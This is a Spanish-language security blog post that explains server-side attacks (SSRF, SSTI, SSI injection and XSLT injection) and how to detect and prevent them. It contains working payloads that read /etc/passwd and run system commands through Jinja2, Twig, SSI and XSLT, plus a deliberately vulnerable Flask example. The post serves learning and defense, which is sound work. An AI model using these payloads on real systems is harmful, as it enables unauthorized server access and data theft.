Ataques de lado del Servidor

Secciones

1. Introducción

Hoy exploraremos uno de los temas más críticos en seguridad web: Ataques del Lado del Servidor. Si alguna vez te has preguntado cómo los atacantes explotan vulnerabilidades en aplicaciones web para tomar control de servidores, ¡este post es para ti! Desglosaremos técnicas como SSRF, SSTI, inyección SSI y XSLT, con ejemplos prácticos y códigos que he probado en mis laboratorios. ¡Vamos allá! 🚀

2. ¿Qué son los Ataques del Lado del Servidor?

A diferencia de ataques como el XSS (que afectan al cliente), estos se centran en explotar vulnerabilidades en el servidor. Imagina que el servidor es un chef: si manipulas sus ingredientes (datos), puedes hacer que cocine algo que no debería. Aquí veremos cuatro tipos clave:

SSRF (Server-Side Request Forgery)
SSTI (Server-Side Template Injection)
Inyección SSI (Server-Side Includes)
Inyección XSLT

3. SSRF: Falsificación de Solicitudes desde el Servidor

¿En qué consiste?
Un atacante engaña al servidor para que realice solicitudes a recursos internos o externos no autorizados. Por ejemplo, acceder a una base de datos interna o leer archivos del sistema.

3.1. Identificación de SSRF

Supongamos una aplicación que programa citas y usa un parámetro dateserver para consultar disponibilidad. Si al interceptar la solicitud con Burp Suite vemos algo como:

POST /schedule HTTP/1.1
Host: ejemplo.com
...
dateserver=http://interno:3306&date=2024-01-01

Podríamos probar cambiando la URL por una bajo nuestro control (ej: http://nuestra-ip:8000). Si recibimos una conexión en netcat, ¡confirmamos SSRF!

nc -lnvp 8000

3.2. Explotación de SSRF

Acceso a endpoints internos: Usar http://127.0.0.1:80/admin.php.
Leer archivos locales: Con el esquema file://:

dateserver=file:///etc/passwd

Protocolo Gopher para RCE: Enviar solicitudes POST/SMTP:

gopher://localhost:25/_MAIL%20FROM:attacker@dominio.com...

3.3. Prevención

Listas blancas de URLs permitidas.
Validar esquemas (bloquear file://, gopher://).
Firewalls que restrinjan conexiones salientes.

4. SSTI: Inyección en Plantillas del Servidor

¿En qué consiste?
Los motores de plantillas (Jinja2, Twig) generan HTML dinámico. Si un atacante inyecta código en la plantilla, puede ejecutar comandos.

4.1. Identificación de SSTI

# Ejemplo de código Python vulnerable a SSTI (Flask/Jinja2)
from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/<nombre>')
def hola(nombre):
    return render_template_string(f'Hola {nombre}!')

if __name__ == '__main__':
    app.run()

Inyectamos una prueba como {{7*7}}. Si la respuesta muestra 49, hay SSTI. Ejemplo en Jinja2:

Hola {{ nombre }}!  <!-- Si nombre = {{7*7}} → Hola 49! -->

4.2. Explotación de SSTI (Jinja2)

Leer archivos:

{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

Ejecutar comandos:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

En Twig (PHP):

{{['id']|filter('system')}}  <!-- Ejecuta 'id' -->

4.3. Prevención

Nunca mezclar datos de usuarios con plantillas.
Usar sandboxing (entornos aislados para renderizar).

5. Inyección SSI: Ejecución de Comandos en Servidores Web

¿En qué consiste?
Las directivas SSI (ej: ) permiten incluir contenido dinámico. Si un atacante las inyecta, puede ejecutar código.

5.1. Identificación

Si al ingresar  se muestran variables de entorno, hay vulnerabilidad.

5.2. Explotación

<!--#exec cmd="cat /etc/passwd" -->

5.3. Prevención

Deshabilitar SSI si no es necesario.
Sanitizar entradas (escapar <, >).

6. Inyección XSLT: Manipulación de Transformaciones XML

¿En qué consiste?
XSLT transforma XML en otros formatos. Si un atacante controla la hoja XSLT, puede leer archivos o ejecutar código.

6.1. Identificación

Inyectar <xsl:value-of select="system-property('xsl:version')"/>. Si muestra la versión, hay vulnerabilidad.

6.2. Explotación

Leer archivos (si hay soporte PHP):

<xsl:value-of select="php:function('file_get_contents','/etc/passwd')"/>

Ejecutar comandos:

<xsl:value-of select="php:function('system','id')"/>

6.3. Prevención

Codificar entradas (ej: convertir < en <).
Deshabilitar funciones peligrosas en XSLT.

7. Conclusión

Los ataques del lado del servidor son como llaves maestras para los atacantes. La prevención radica en validar entradas, usar listas blancas y mantener componentes actualizados. En mi experiencia, herramientas como SSTImap o ffuf son esenciales para probar estas vulnerabilidades.

¡Hasta la próxima, DavidalVK. ✌️

davidalvk